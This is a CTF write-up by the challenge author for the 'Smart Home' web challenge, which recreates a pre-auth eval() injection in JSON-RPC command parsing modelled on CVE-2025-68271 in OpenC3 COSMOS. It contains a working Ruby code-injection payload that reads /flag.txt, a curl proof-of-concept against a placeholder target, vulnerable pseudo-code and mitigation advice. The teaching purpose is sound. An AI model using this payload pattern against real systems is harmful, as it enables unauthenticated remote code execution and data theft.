Greetings, fellow cybersecurity enthusiasts and CTF players! In this writeup, we'll walk through the solution of the "Smart Home" web challenge from BUET CTF 2026 (Preliminary). I'm Sakibul Ali Khan, the author of this challenge, and I designed it to demonstrate a real-world bug pattern: JSON-RPC command parsing + eval() = RCE.

None

Challenge Overview

According to the description, we're given a household smart-home portal used to control lights, climate, door locks, alarm, etc. The goal is to retrieve the flag.

When you open the site, you'll notice a normal web UI with pages like Overview and Dashboard. The interesting part is that device actions aren't performed directly by the frontend — the UI sends commands to a backend JSON-RPC API.

Recon

Let's navigate the layout first. From the top navbar, open Overview and Dashboard. On the Dashboard page, we can control various devices and check activity logs (actions performed by the system).

None

Identify the backend call (JSON-RPC)

Open Browser DevTools → Network (or use Burp Suite as a proxy). When you click device buttons on the dashboard, you'll see requests like:

  • POST /api/rpc
  • A JSON body that looks like JSON-RPC: jsonrpc, id, method, params
None

The method used is typically cmd, and the command is sent inside:

"params": { "command": "..." }

So the attack surface is clear: we control the command string.

Exploitation:

Send the request to Burp Repeater

Capture one valid request in Burp, then send it to Repeater (CTRL+R).

A typical shape looks like this:

POST /api/rpc HTTP/1.1
Content-Type: application/json

{
  "jsonrpc":"2.0",
  "id":1,
  "method":"cmd",
  "params":{
    "command":"LIGHTS ON"
  }
}

Now the question becomes: what happens to the command string on the server?

Spot the parsing weakness (the important behavior)

The backend splits the command into tokens (words). Then it converts each token into a "value". If a token starts with [ (array) or { (object), it gets evaluated as Ruby code using eval().

This is the core bug: an attacker can inject Ruby expressions inside something that "looks like an array" (e.g., [ ... ]), and eval() will execute it.

None

The working payload

Because the server splits on whitespace, your injected [...] must be one single token (no spaces inside it), otherwise it breaks into multiple parameters and won't reach eval() correctly.

Use this (cleaner + matches the "third token" explanation):

"command":"ALARM ARM [activity_log(File.read(\"/flag.txt\"))]"
  • ALARM → a valid device keyword
  • ARM → an action keyword
  • The third token starts with [ → triggers the dangerous conversion path
  • Inside [...], We call: File.read("/flag.txt") to read the flag activity_log(...) to store it in the activity log (a convenient exfil channel)

Important: Don't put spaces inside [ ... ]. For example: [ activity_log(File.read("/flag.txt")) ] may fail because it becomes multiple tokens.

If you want to keep your original GET token: Then update the explanation to "the 4th token starts with [", because:

ALARM ARM GET [payload][ is the 4th token, not the 3rd.

Read the result

None

After sending the malicious JSON-RPC request, check the dashboard's Activity section or call:

  • GET /api/activity

You should see a new activity entry containing the flag.

Why the payload works (step-by-step)

  1. JSON-RPC parsing: request reaches the JSON-RPC handler for cmd.
  2. Tokenization: the command string is broken into words/tokens.
  3. Dangerous coercion: when a token looks like an array ([...]), String#convert_to_value executes it with eval().
  4. Authorization happens too late: authorize() is called after parsing, so the side-effects already happened even if the request ends in 401.

That's the exact bug pattern this challenge is meant to teach.

Reproduce without Burp (curl PoC)

This is a minimal 3-step flow you can paste into your terminal:

  1. (Optional but common) visit / once to get a session cookie
  2. send the malicious JSON-RPC request
  3. read /api/activity to retrieve the flag
# 1) Get cookies (session)
curl -i -c cookies.txt http://TARGET/

# 2) Trigger payload
curl -i -b cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc":"2.0",
    "id":1,
    "method":"cmd",
    "params":{
      "command":"ALARM ARM [activity_log(File.read(\"/flag.txt\"))]"
    }
  }' \
  http://TARGET/api/rpc

# 3) Read activity log
curl -s -b cookies.txt http://TARGET/api/activity

Note: In pre-auth parsing flaws like this, you might still see 401 Unauthorized while the injected code already executed (because parsing happens before authorization).

Root cause (pseudo-code)

Here's the bug in one picture:

tokens = command.split(/\s+/)

values = tokens.map do |t|
  if t.start_with?('[', '{')
    eval(t)        # attacker-controlled code execution
  else
    t
  end
end

authorize!         # too late (parsing already happened)

This challenge recreates the vulnerability pattern described in CVE-2025–68271 (OpenC3 COSMOS): unsafe eval() during JSON-RPC command parsing before authorization.

CVE Explanation (the real-world reference behind this challenge)

None

This CTF challenge is CVE-inspired, specifically modeled after CVE-2025–68271 in OpenC3 COSMOS, where string-form JSON-RPC command parsing can lead to unauthenticated remote code execution.

CVE Overview: CVE-2025–68271 (OpenC3 COSMOS)

What the CVE says: OpenC3 COSMOS (a command-and-control platform) had a critical RCE reachable through its JSON-RPC API when requests use a string form of certain APIs. Attacker-controlled parameter text is parsed via String#convert_to_value, and for array-like inputs, it executes eval().

Why it's pre-auth (the scary part): the vulnerable path parses the command string before it calls authorize(). That means an unauthenticated attacker can still trigger code execution even if the request later fails authorization with 401.

Affected versions (as reported):

  • GitHub advisory database shows >= 5.0.6 and < 6.10.2 (patched in 6.10.2).
  • NVD description mentions 5.0.0 through 6.10.1 and also states it's fixed in 6.10.2.

(These differences often come from how ecosystems/packaging track affected ranges, but both agree the fix lands in 6.10.2.)

Defensive Lessons (Mitigation)

This class of vulnerability is preventable with a few hard rules:

  1. Never eval() user-controlled input If you need to parse arrays/objects, use safe parsers and strict schemas.
  2. Authenticate/authorize before parsing "commands" Don't process risky input before you've validated access.
  3. Prefer structured JSON over "string commands" Instead of "command": "ALARM ARM ..." prefer:
{"device":"alarm","action":"arm","args":[...]}

Then validate device/action against allowlists and validate types.

These lessons directly match the CVE's root cause: unsafe type conversion (eval) and parsing before authorize().

Conclusion

"Smart Home" demonstrates a very practical lesson: never eval() user-controlled input, especially in "helpful" type-conversion code. When combined with a request pipeline that parses inputs before authorization, it becomes a pre-auth RCE class vulnerability — exactly what CVE-2025-68271 highlights for OpenC3 COSMOS.

If you're building APIs that accept "string commands," strongly prefer:

  • structured JSON parameters,
  • strict allowlists and schema validation,
  • safe parsers (never eval),
  • and auth before any risky processing.

References